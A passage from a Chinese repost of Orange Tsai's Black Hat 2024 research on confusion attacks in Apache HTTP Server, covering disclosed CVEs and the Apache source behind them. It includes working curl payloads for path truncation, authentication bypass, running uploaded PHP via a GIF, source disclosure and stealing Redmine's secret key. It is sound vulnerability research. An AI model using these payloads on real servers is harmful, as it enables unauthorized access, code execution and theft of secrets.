长亭百川云 - 文章详情

Black Hat USA 2024:利用Apache HTTP服务器中隐藏的语义歧义进行攻击!

Orange Tsai

151

2024-08-09

特别感谢Orange Tsai的授权转载

本文原始地址为:https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/

作者Orange Tsai的账号:https://x.com/orange_8361

嗨,这是我今年发表在Black Hat USA 2024上针对Apache HTTP Server 的研究。此外,这份研究也将在HITCON和OrangeCon上发表,有兴趣抢先了解可点此取得投影片:

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

另外也谢谢来自Akamai 的友善联系!此份研究发表后第一时间他们也发布了缓解措施(详情可参考Akamai 的blog)。

简介

这篇文章探索了Apache HTTP Server 中存在的架构问题,介绍了数个Httpd 的架构债, 包含3 种不同的Confusion Attacks、9 个新漏洞、20 种攻击手法以及超过30 种案例分析 。包括但不限于:

  1. 怎么使用一个 ? 绕过Httpd 内建的存取控制以及认证。
  2. 不安全的 RewriteRule 怎么跳脱Web Root 并存取整个文件系统。
  3. 如何利用一段从1996 遗留至今的程序代码把一个XSS 转化成RCE。

大纲

  • 故事是如何开始的?

  • 为什么Apache HTTP Server 闻起来臭臭的?

  • 关于这次的新攻击面:Confusion Attacks

  • CVE-2024-38472 - 基于Windows UNC 的SSRF

  • CVE-2024-39573 - 基于RewriteRule 前缀可完全控制的SSRF

  • 通过HTTP 请求解析器触发

  • 通过Type-Map 触发

  • Primitive 3-1. Overwrite the Handler

  • Primitive 3-2. Invoke Arbitrary Handlers

  • 3-1-1. Overwrite Handler to Disclose PHP Source Code

  • 3-1-2. Overwrite Handler to ██████ ███████ ██████

  • 3-2-1. Arbitrary Handler to Information Disclosure

  • 3-2-2. Arbitrary Handler to Misinterpret Scripts

  • 3-2-2. Arbitrary Handler to Full SSRF

  • 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

  • 3-2-4. Arbitrary Handler to RCE

  • Primitive 2-1. Server-Side Source Code Disclosure

  • Primitive 2-2. Local Gadgets Manipulation!

  • Primitive 2-3. Jailbreak from Local Gadgets

  • 2-1-1. Disclose CGI Source Code

  • 2-1-2. Disclose PHP Source Code

  • 2-2-1. Local Gadget to Information Disclosure

  • 2-2-2. Local Gadget to XSS

  • 2-2-3. Local Gadget to LFI

  • 2-2-4. Local Gadget to SSRF

  • 2-2-5. Local Gadget to RCE

  • 2-3-1. Jailbreak from Local Gadgets

  • 2-3-2. Jailbreak Local Gadgets to Redmine RCE

  • Primitive 1-1. Truncation

  • Primitive 1-2. ACL Bypass

  • 1-1-1. Path Truncation

  • 1-1-2. Mislead RewriteFlag Assignment

    1. Filename Confusion
    1. DocumentRoot Confusion
    1. Handler Confusion
    1. 其它漏洞
  • 未来研究方向

  • 结语

故事是如何开始的?

大概是在今年年初的时候,我开始思考下一个研究的目标,也许你知道我总是希望挑战那些影响整个网络的大目标,所以开始寻找一些看似复杂的主题或有趣的开源项目,例如Nginx、PHP、甚至开始看起RFC 来强化自己对于协议实作细节的认知。

虽然大部分的尝试都以失败告终(不过有些也许会变成下一篇blog主题😉),但在细细品尝这些程序代码时,我回忆起了曾经在去年年中短暂看过Apache HTTP Server 原码这件事!尽管最终由于工作的时间规划并无深入的阅读程序代码,但在那时就已经从它的编码风格上「闻」到了一些不太好的味道。

于是在今年决定继续下去,把「为什么闻起来怪怪的」这件事从原本只是一个说不出的「感觉」具象化,深入下去研究Apache HTTP Server!

为什么Apache HTTP Server 闻起来臭臭的?

首先,Apache HTTP Server 是一个由「模块」建构起来的世界,从它官方文件中也看到其对于自身模块化(MPMs - Multi-Processing Modules) 的自豪:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

整个Httpd 的服务需要由数百个小模块齐心合力,共同合作才能完成客户端的HTTP 请求,官方所列出的136 个模块 其中约有一半是预设启用或经常被使用的模块

而更令人惊讶的是,这么多模块在处理客户端HTTP 请求的时候,彼此之间还要共同维护着一份非常巨大的 request_rec 结构。这个结构包括了在处理HTTP 时会用到的一切元素,详细的定义可以从include/httpd.h中找到。所有模块都依赖这个巨大的结构去同步、沟通,甚至交换资料。这个内部结构会像是抛接球般在所有模块间传递来传递去,每个模块都可以根据自己的喜好去随意修改这个结构上的任意值!

这样子的合作方式从软件工程的角度来说其实不是什么新鲜事,个体只需专心把份内事完成,只要所有人都乖乖完成自己的工作,那客户就可以正常享受Httpd 所提供的服务。这样子的分工在数个模块内可能还没什么问题, 但如果今天把规模放大到数百个模块间的协同合作—— 它们真的有办法好好合作吗? 🤔

所以我们的出发点很简单—— 模块间其实并不完全了解彼此的实现细节,但却又被要求要一起合作 。每个模块可能由不同的开发者实现,程序代码历经多年的叠代、重整以及修改,它们真的还清楚自己在做什么吗?就算对自己了若指掌,那对其它模块呢?在缺乏一个好的开发标准或使用准则下,这中间必然会存在很多小缝隙是我们可以利用的!

关于这次新的攻击面:Confusion Attacks

基于前面的思考,我们开始专注在 研究这些模块间的「关系」以及「交互作用」 。如果有一个模块不小心修改到了它觉得不重要但对另一个模块至关重要的结构字段,那可能就会影响该模块的判断。甚至更进一步,如果Apache HTTP Server 对这些结构的定义不够精确,导致不同模块对同一个字段在理解上有着根本的不一致,这都可能产生安全上的风险!

从这个出发点我们发展出了三种不同的攻击,由于这些攻击或多或少都是模块对于结构字段的误用有关,因此把这个攻击面命名为「Confusion Attack」,而以下是我们所发展出的攻击:

  1. Filename Confusion
  2. DocumentRoot Confusion
  3. Handler Confusion

从这些攻击出发我们找到了9 个不同的漏洞:

  1. CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  2. CVE-2024-39573 - Apache HTTP Server proxy encoding problem
  3. CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
  4. CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
  5. CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
  6. CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
  7. CVE-2024-38473 - Apache HTTP Server proxy encoding problem
  8. CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
  9. CVE-2024-?????? - [redacted]

这些漏洞都通过官方的安全信箱报告,并由Apache HTTP Server 团队在2024-07-01 发布安全性通报以及2.4.60 更新(详细可参考官方公告)。

由于这是一个针对Httpd 架构以及其内部机制所带来的新攻击面,理所当然第一个参与的人可以找到最多漏洞,因此我也是目前拥有最多Apache HTTP Server CVE 的人😉,导致很多更新修复由于其历史架构无法向下兼容。所以对于很多运行许久的正式服务器来说修复并不是一件容易的事,若网站管理员不经思考就直接更新反而会打破许多旧有的配置造成服务中断。😨

接下来就开始介绍这次发展出来的攻击面吧!

🔥 1. Filename Confusion

首先,第一个是基于Filename 字段上的Confusion,从字面上来看 r->filename 应该是一个文件系统路径,然而在Httpd 中,有些模块会把它当成网址来处理。如果在HTTP 请求的上下文中,有些模块把 r->filename 当成文件路径,而其他模块将它当成网址,这其中的不一致就会造成安全上的问题!

⚔️ Primitive 1-1. Truncation

所以哪些模块会把 r->filename 当成网址呢?首先是 mod_rewrite 允许网站管理员通过 RewriteRule 语法轻松的将路径通过指定的规则改写:

RewriteRule Pattern Substitution [flags]

其中目标可以是一个文件系统路径或是一个网址,我想这应该是一个为了使用者体验所做出的方便,但同时这个「方便」也带出了一些风险,例如 在改写路径时,mod_rewrite会强制把结果视为网址处理( splitout_queryargs()) ,这导致了在HTTP 请求中可以通过一个问号 %3F 去截断 RewriteRule 后面的路径或网址,并引出以下两种攻击手法。

Path: modules/mappers/mod_rewrite.c#L4141

/*
 * Apply a single RewriteRule
 */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
    ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
    apr_array_header_t *rewriteconds;
    rewritecond_entry *conds;
    
    // [...]
    
    for (i = 0; i < rewriteconds->nelts; ++i) {
        rewritecond_entry *c = &conds[i];
        rc = apply_rewrite_cond(c, ctx);
        
        // [...] do the remaining stuff
        
    }
    
    /* Now adjust API's knowledge about r->filename and r->args */
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);         // <------- [!!!] Truncate the `r->filename`
    
    // [...]
}
✔️ 1-1-1. Path Truncation

首先,第一个攻击手法是文件系统路径上的截断,想像下面这个 RewriteRule

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

服务器会根据网址路径 /user/ 后的使用者名称开启相对应的个人配置文件,例如:

$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

由于 mod_rewrite 会强制将重写后的结果当成一个网址处理,因此虽然目标是一个文件系统路径,但却可以通过一个问号去截断后方的 /profile.yml 例如:

$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

这是我们的第一个攻击手法—— 路径截断。对于这个攻击手法的探索先稍稍停留在这边,虽然目前看起来还只是一个小瑕疵,但请先记好它,因为这会在之后的攻击中一再的出现,慢慢把这个看似无用的小破口撕裂开来!😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

截断手法的第二个利用是误导 RewriteFlag 的设置,想像网站管理员通过下列的 RewriteRule 去管理网站中路径以及相对应模块:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果请求以 .php 扩展结束,它会为其添加相应的处理程序 mod_php (此外也可以是环境变数或是 Content-Type ,关于标志的详细配置可参考官方的手册RewriteRule Flags)。

由于 mod_rewrite 的截断行为发生在正规表达式匹配后,因此恶意的攻击者可以利用原本的规则,通过 ?RewriteFlag 配置到不属于它们的请求上。例如上传一个夹带恶意PHP程序代码的GIF 图片并通过恶意请求将图片当成后门执行:

$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>

$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ Primitive 1-2. ACL Bypass

Filename Confusion 的第二个攻击手法发生在 mod_proxy 身上,相较前一个攻击是无条件将目标当成网址处理,这次则是 因为模块间对r->filename的理解不一致所导致的认证及存取控制绕过

mod_proxy 会将 r->filename 当成网址这件事情其实很合理,因为原本Proxy 的目的就是将请求「重定向」到其它网址上,但安全往往就是单独拿出来看没问题,搭配在一起就出问题了!特别是当大多数模块预设将 r->filename 视为文件系统路径时,试想一下假设今天你使用基于文件系统的存取控制模块,而现在 mod_proxy 又会把 r->filename 当成网址,这其中的不一致就可以导致存取控制或是认证被绕过!

一个经典的例子是,网站管理员通过 Files 语法去对单一文件加上限制,例如 admin.php

<Files "admin.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

在预设安装的PHP-FPM 环境中,这种配置可以被直接绕过!顺道一提这也是Apache HTTP Server 中最常见到的认证方式!假设今天你浏览了这样的网址:

http://server/admin.php%3Fooo.php

首先在这个网址的HTTP 生命周期中,认证模块会将请求的文件名称与被保护的文件进行比对,此时 r->filename 字段是 admin.php?ooo.php 理所当然与 admin.php 不符合,于是模块会认为当前请求不需要认证。然而PHP-FPM 的配置文件又配置当收到结尾为 .php 的请求时通过 SetHandler 语法将请求转交给 mod_proxy

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>

mod_proxy 会将 r->filename 重写成以下网址,并调用子模块 mod_proxy_fcgi 处理后续的FastCGI协议:

proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由于这时后端在收到文件名称时已经是一个奇怪的格式了,PHP-FPM 只好对这个行为做特别处理,其中处理的逻辑如下:

Path: sapi/fpm/fpm/fpm_main.c#L1044

#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"

if (env_script_filename &&
    strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
    /* advance to first character of hostname */
    char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
    while (*p != '\0' && *p != '/') {
        p++;    /* move past hostname and port */
    }
    if (*p != '\0') {
        /* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */
        memmove(env_script_filename, p, strlen(p) + 1);
        apache_was_here = 1;
    }
    /* ignore query string if sent by Apache (RewriteRule) */
    p = strchr(env_script_filename, '?');
    if (p) {
        *p =0;
    }
}

可以看到PHP-FPM 先对文件名称正规化并对其中的问号 ? 进行分隔取出其中实际的文件路径并执行(也就是 /var/www/html/admin.php )。所以基本上 所有使用Files语法针对单一PHP 文件的认证或是存取控制配置在运行PHP-FPM 的情境下都存在风险! 😮

从GitHub 上可以找到非常多潜在有风险的配置,例如被限制在只有内网才能存取的 phpinfo()

# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
    # LOCAL ACCESS ONLY
    # Require local 

    # LOCAL AND LAN ACCESS
    Require ip 10 172 192.168
</Files>

使用 .htaccess 阻挡起来的Adminer:

<Files adminer.php>
    Order Allow,Deny
    Deny from all
</Files>

被保护起来的 xmlrpc.php

<Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
</Files>

防止直接存取的命令行工具:

<Files "cron.php">
    Deny from all
</Files>

通过认证模块以及 mod_proxy 之间对 r->filename 字段理解的不一致,上面所有的例子都可以通过一个 ? 成功绕过!

🔥 2. DocumentRoot Confusion

接下来要介绍的攻击是基于DocumentRoot 上的Confusion Attack!首先你可以思考一下,对于下面这样子的Httpd配置:

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

当浏览 http://server/html/about 时,到底实际Httpd 会开启哪个文件?是根目录下的 /about.html 还是DocumentRoot 下的 /var/www/html/about.html 呢?

答案是—— 两个路径都会存取 。这也是我们的第二个Confusion Attack, 对于任意[1]的RewriteRule,Httpd 总是会尝试开启带有DocumentRoot 的路径以及没有的路径! 有趣吧😉

[1] 位于Server Config或VirtualHost Block内

Path: modules/mappers/mod_rewrite.c#L4939

if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
        uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
    }

    if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) {     // <------ [1] access without root
        int res;
        char *tmp = r->uri;

        r->uri = r->filename;
        res = ap_core_translate(r);             // <------ [2] access with root
        r->uri = tmp;

        if (res != OK) {
            rewritelog((r, 1, NULL, "prefixing with document_root of %s"
                        " FAILED", r->filename));

            return res;
        }

        rewritelog((r, 2, NULL, "prefixed with document_root to %s",
                    r->filename));
    }

    rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
    return OK;
}

当然绝大部分的情况是目标文件不存在,于是Httpd 会存取带有DocumentRoot 的版本,但这个行为已经让我们能够「故意的」去存取Web Root 以外的路径, 如果今天可以控制RewriteRule的目标前缀那我们是不是就能浏览操作系统上的任意文件了? 这也是我们第二个Confusion Attack 的精神!从GitHub 中可以找到千千万万个有问题的写法,有趣的是甚至连官方的范例文件都是易遭受攻击的:

# Remove mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"

除此之外还有其它亦受影响的 RewriteRule 例如基于快取需求或是将想后缀名隐藏起来的URL Masking 规则:

RewriteRule  "^/html/(.*)$"  "/$1.html"

或是想节省流量,尝试使用压缩版本的静态文件规则:

RewriteRule  "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"

将老旧的网站重定向到根目录的规则:

RewriteRule  "^/oldwebsite/(.*)$"  "/$1"

对所有CORS 的预检请求都回传200 OK 的规则:

RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]

理论上只要 RewriteRule 的目标前缀可控,我们可以浏览几乎整个文件系统,但从前面的规则中发现还有一个限制我们必须跨过的,前面例子中所出现的后缀名如 .html 以及 .gz 的后缀都是让我们没那么地自由的一个限制—— 所以可以绕过这个限制吗?不知道有没有人想起前面在Filename Confusion 章节所介绍的路径截断,通过这两个攻击的结合,我们可以自由的浏览操作系统上的任意文件!

接下来的范例都基于这个不安全的 RewriteRule 来做示范:

RewriteEngine On
RewriteRule  "^/html/(.*)$"  "/$1.html"

⚔️ Primitive 2-1. Server-Side Source Code Disclosure

首先来介绍DocumentRoot Confusion 的第一个攻击手法—— 任意服务器端程序代码泄漏

由于Httpd 会根据当前目录或是当前虚拟主机配置决定是否当成Server-Side Script 处理,因此通过绝对路径去存取目标程序代码可以混淆Httpd 的逻辑导致泄漏原本该被当成程序代码执行的文件内容。

✔️ 2-1-1. Disclose CGI Source Code

首先是泄漏服务器端的CGI程序代码,由于 mod_cgi 是通过 ScriptAlias 将CGI 目录与所指定的URL 前缀绑定起来,当使用绝对路径直接浏览CGI 时由于URL 前缀变了,因此可以直接泄漏出文件原始代码。

$ curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl
 # use CGI;
 # ...
 # # the source code of download.cgi
✔️ 2-1-2. Disclose PHP Source Code

接着是泄漏服务器端的PHP程序代码,由于PHP 的使用场景众多,若只针对特定目录或是虚拟主机套用PHP 环境的话(常见于网站代管服务),可以通过未启用PHP 的虚拟主机存取PHP文件以泄漏原始代码!

例如 www.local 以及 static.local 两个虚拟主机都托管在同一台服务器上, www.local 允许运行PHP 而 static.local 则纯粹负责处理静态文件,因此可以通过下面的方式泄漏出 config.php 内的敏感信息:

$ curl http://www.local/config.php
 # the processed result (empty) from config.php
$ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php

⚔️ Primitive 2-2. Local Gadgets Manipulation!

接下来是我们的第二个攻击手法—— Local Gadgets Manipulation

首先,在前面介绍到「浏览操作系统上的任意文件」时不知道你有没有好奇:「那是不是一个不安全的 RewriteRule 就可以存取到 /etc/passwd ?」 对的—— 但也不完全对。蛤?

技术上来说确实服务器会去检查 /etc/passwd 是否存在,但Apach HTTP Server 内建的存取控制阻挡了我们的存取,这里是Apache HTTP Server 的配置档模板内容:

<Directory />
    AllowOverride None
    Require all denied
</Directory>

会观察到预设阻挡了根目录 / 的浏览( Require all denied ),然而实际上这就没戏了吗?实际上再详细追查各个Httpd 的发行版会发现Debian/Ubuntu操作系统预设允许了 /usr/share

<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

所以我们的「任意文件存取」似乎有点那么不任意。不过我们打破原本只能浏览DocumentRoot 的信任算是跨出很大的一步了。接下来要做的事情就是「压榨」这个目录内的各种可能。所有可利用的资源、目录中现有的教学范例、说明文件、单元测试文件,甚至服务器上程序语言如PHP、Python 甚至PHP 的模块都有机会成为我们滥用的对象!

PS :当然上面只是基于Ubuntu/Debian 操作系统发行的Httpd 版本配置做解释,实务上也有发现一些应用软体直接把的根目录的 Require all denied 移除导致可以直接存取 /etc/passwd

✔️ 2-2-1. Local Gadget to Information Disclosure

首先来寻找看看这个目录下是否存在这一些文件是可以利用的。首先是目标Apache HTTP Server 如果安装 websocketd 这个服务的话,服务套件预设会在 /usr/share/doc/websocketd/examples/php/ 下放置一个范例PHP程序代码 dump-env.php ,如果目标服务器上存在PHP 环境的话可以直接存取这个范例程序去泄漏敏感的环境变数。

另外如果目标同时安装如Nginx 或是Jetty 的话,虽然 /usr/share 理论上该是套件安装时所存放的只读副本,但这些服务的预设Web Root 就在 下 /usr/share ,因此也能通过这个攻击手法去泄漏这些网页应用的敏感信息,例如Jetty 上的 web.xml 配置等等:

  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

下面是一个简单的演示,使用作为只读副本存在的包来泄漏 setup.php 内容。 Davical phpinfo()

✔️ 2-2-2. Local Gadget to XSS

接着如何把这个攻击手法转化成XSS 呢?在Ubuntu Desktop 环境中预设会安装LibreOffice 这套开源的办公室应用,利用其中帮助文件的语言切换功能来完成XSS。

Path: /usr/share/libreoffice/help/help.html

var url = window.location.href;
    var n = url.indexOf('?');
    if (n != -1) {
        // the URL came from LibreOffice help (F1)
        var version = getParameterByName("Version", url);
        var query = url.substr(n + 1, url.length);
        var newURL = version + '/index.html?' + query;
        window.location.replace(newURL);
    } else {
        window.location.replace('latest/index.html');
    }

因此就算目标没有部属任何网页应用,我们也可以利用一个不安全的 RewriteRule 通过操作系统自带的文件来创造出XSS。

✔️ 2-2-3. Local Gadget to LFI

至于任意文件读取呢?如果目标服务器上安装了一些PHP 甚至前端应用套件,例如JpGraph、jQuery-jFeed 甚至WordPress 或Moodle 外挂,那么它们自带的使用教学或是除错用程序代码都可以变成利用的对象,例如:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

这里展示利用jQuery-jFeed 所自带的 proxy.php 来读取 /etc/passwd

✔️ 2-2-4. Local Gadget to SSRF

当然找到一个SSRF 也不在话下,例如MagpieRSS 提供了一个 magpie_debug.php 文件就是一个绝佳的小工具:

  • /usr/share/php/magpierss/scripts/magpie_debug.php
✔️ 2-2-5. Local Gadget to RCE

所以能RCE 吗?别急我们先慢慢来!首先这个攻击手法已经可以把既有的攻击面全部重新套用一次了,例如在某次开发过程中不小心被遗留下来(甚至可能还是被第三方套件所依赖的) 的旧版本PHPUnit,可以直接使用CVE-2017-9841来执行任意程序代码,又或者是安装完phpLiteAdmin (由于是只读副本所以预设密码是 admin ),相信看到这边会发现Local Gadgets Manipulation 这个攻击手法存在着无穷潜力,剩下只是发掘出更厉害以及更通用的小工具!

⚔️ Primitive 2-3. Jailbreak from Local Gadgets

看到这里你可能会好奇:「真的不能跳出 /usr/share 吗?」 当然可以,这也是要介绍的第三个攻击手法—— 从/usr/share中越狱!

Debian/Ubuntu的Httpd 发行版中预设开启了 FollowSymLinks 选项,就算非Debian/Ubuntu 发行版但Apache HTTP Server 也隐含地预设允许符号连结。

<Directory />
    Options FollowSymLinks
    AllowOverride None
    Require all denied
</Directory>
✔️ 2-3-1. Jailbreak from Local Gadgets

因此只要有套件在它的安装目录下符号连结到 /usr/share 外,这个符号连结就成为一个跳板去存取更多的小工具完成更多的利用。这里列出一些我们已经发现可利用的符号连结:

  • Cacti Log : /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data : /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config : /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config : /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config : /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/
✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

越狱攻击手法的最后让我们展示一个利用Redmine 的双层符号连结跳跃去完成RCE 的例子。在预设安装的Redmine程序代码目录中有个 instances/ 目录指向 /var/lib/redmine/ ,而位于 /var/lib/redmine/ 下的 default/config/ 目录又指向 /etc/redmine/default/ 资料夹,里面存放着Redmine 的资料库配置以及应用程序私钥。

$ file /usr/share/redmine/instances/
 symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
 symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
 database.yml    secret_key.txt

于是通过一个不安全的 RewriteRule 以及两层符号连结,我们能够轻松存取到Redmine 所使用的应用程序私钥:

$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
 HTTP/1.1 200 OK
 Server: Apache/2.4.59 (Ubuntu) 
 ...
 6d222c3c3a1881c865428edb79a74405

而Redmine 又是基于Ruby on Rails 所开发的应用程序,其中 secret_key.txt 的内容其实正是其签章加密所使用到的私钥,接下来的流程相信对熟悉攻击RoR 的同学应该不陌生,通过已知的私钥将恶意Marshal 物件签章加密后嵌入Cookie,接着通过服务器端的反序列化最终实现远端程序代码执行!

🔥 3. Handler Confusion

最后一个要介绍的攻击是Handler 上的Confusion。这个攻击同样也利用了一个Apache HTTP Server 从上古时期架构所遗留下来的技术债。这里通过一个例子来让读者快速的了解这个技术债—— 如果今天想在Httpd 上运行经典的 mod_php ,下面两个语法配置你觉得哪个才是正确的?

AddHandler application/x-httpd-php .php
AddType    application/x-httpd-php .php

答案是—— 两个都可以正确地让PHP 运行起来!这里分别是两个配置的语法格式,可以看到两个配置不仅用法、参数类似,现在连效果都一模一样,为什么Apache HTTP Server 当初要设计两个不同的语法?

AddHandler handler-name extension [extension] ...
AddType media-type extension [extension] ...

实际上 handler-name 以及 media-type 在Httpd 的内部结构中代表着不同的字段,分别对应到 r->handler 以及 r->content_type 。而 使用者可以在没有感知的情况下使用则归功于一段从1996 年Apache HTTP Server 开发初期就遗留到现在的程序代码

Path: server/config.c#L420

AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) {

    // [...]

    if (!r->handler) {
        if (r->content_type) {
            handler = r->content_type;
            if ((p=ap_strchr_c(handler, ';')) != NULL) {
                char *new_handler = (char *)apr_pmemdup(r->pool, handler,
                                                        p - handler + 1);
                char *p2 = new_handler + (p - handler);
                handler = new_handler;

                /* exclude media type arguments */
                while (p2 > handler && p2[-1] == ' ')
                    --p2; /* strip trailing spaces */

                *p2='\0';
            }
        }
        else {
            handler = AP_DEFAULT_HANDLER_NAME;
        }

        r->handler = handler;
    }

    result = ap_run_handler(r);

可以看到在进入主要的模块处理器 ap_run_handler() 之前,如果请求中的 r->handler 为空则把结构中 r->content_type 字段的内容当成最终将被使用的模块处理器。这也就是为什么 AddType 以及 AddHandler 效果一致的主要理由,因为 media-type 最终在执行前还是会被转换成 handler-name 。我们的第三个Handler Confusion 主要也就是围绕在这个行为所发展出来的攻击。

⚔️ Primitive 3-1. Overwrite the Handler

在理解这个转换机制后首先第一个攻击手法是—— Overwrite the Handler ,想像一下如果今天目标的Apache HTTP Server 通过 AddType 将PHP 运行起来。

AddType application/x-httpd-php  .php

在正常的流程中浏览 http://server/config.php 。首先, mod_mime 会在 type_checker 阶段根据 AddType 所配置的文件扩展名将相对应的内容复制到 r->content_type 中,由于 r->handler 在整个HTTP 生命周期中并无赋值,于是在执行模块处理器前 ap_invoke_handler() 会将 r->content_type 当成模块处理器,最终调用 mod_php 处理请求。

然而如果今天有任何模块在执行到 ap_invoke_handler() 前「不小心」把 r->content_type 覆写掉了,那会发生什么事呢?

✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code

因此这个攻击手法的第一个利用就是通过这个「不小心」去泄漏任意PHP 的原始码。这个技术最早是由Max Dmitriev 在ZeroNights 2021 所发表的研究中提及(kudos to him!),演讲主题及投影片可以从这边看到:

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev 观察到只要送出错误的 Content-Length ,远端Httpd服务器会发生不明的错误顺带回传PHP 的原始码,在细追流程后发现其成因是ModSecurity 在使用APR (Apache Portable Runtime) 函示库时并未好好的处理 AP_FILTER_ERROR 回传值所导致的double response。由于发生错误时Httpd 想送出一些HTML 错误信息,于是 r->content_type 也顺便被覆写成 text/html

由于ModSecurity 并未妥善的处理回传值使得本该停止的Httpd 内部流程继续执行,而这个「副作用」又会把原本加上的给 Content-Type 覆写掉,导致最终该被当成PHP 的文件被当成一般文件处理并将其中的程序代码及敏感配置打印出。🤫

$ curl -v http://127.0.0.1:/info.php -H "Content-Length: x"
> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)
> Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
...
<?php phpinfo();?>

理论上所有基于 Content-Type 的配置语法都容易遭受此类问题影响,所以除了Max 在投影片中所展示的 php-cgi 搭配 mod_actions 外,纯粹的 mod_php 搭配上 AddType 也同样也受影响。

另外值得一提的是,这个副作用在Apache HTTP Server 版本2.4.44 时被当成一个增进请求解析器的程序错误被更正,于是这个「漏洞」就被当成已修复直到我重新捡起它。但由于其根本成因还是ModSecurity 并未好好的处理错误,只要找到其它条触发 AP_FILTER_ERROR 的路径那同样的行为还是可以重现成功。

PS 此问题已于6/20 通过官方信箱回报给ModSecurity 并由Project Co-Leader 建议回到原GitHub Issue中讨论。

✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████

基于前面提到的double response行为以及副作用,这个攻击手法还可以完成其它更酷的利用,不过由于此问题尚未完全修复,更进一步的利用方式,将于修复完成后再揭露。

⚔️ Primitive 3-2. Invoke Arbitrary Handlers

仔细思考前面Overwrite Handler 攻击手法,虽然是因为ModSecurity 并未好好的处理错误,导致请求被设置上错误的 Content-Type 。但再深入的探究其根本原因应该是—— Apache HTTP Server 在使用r->content_type时,其实无从辨别它的语意,这个字段既可以是在请求阶段被语法配置好的值,也可以是响应阶段服务器回传Content-Type标头的内容。

所以理论上如果能控制服务器响应中 Content-Type 标头的内容,那就可以通过那段从开发初期遗留至今的程序代码调用任意的模块处理器,这也是Handler Confusion 的最后一个攻击手法—— 调用任意Apache HTTP Server 的内部模块处理器

但这里还有最后的一块拼图必须填上,在Httpd 中所有可以从服务器响应修改到 r->content_type 的地方全都发生在那段遗留程序代码之后,就算修改到该字段的内容,此时HTTP 生命周期也进入尾声,无法再做更进一步的利用…… 吗?

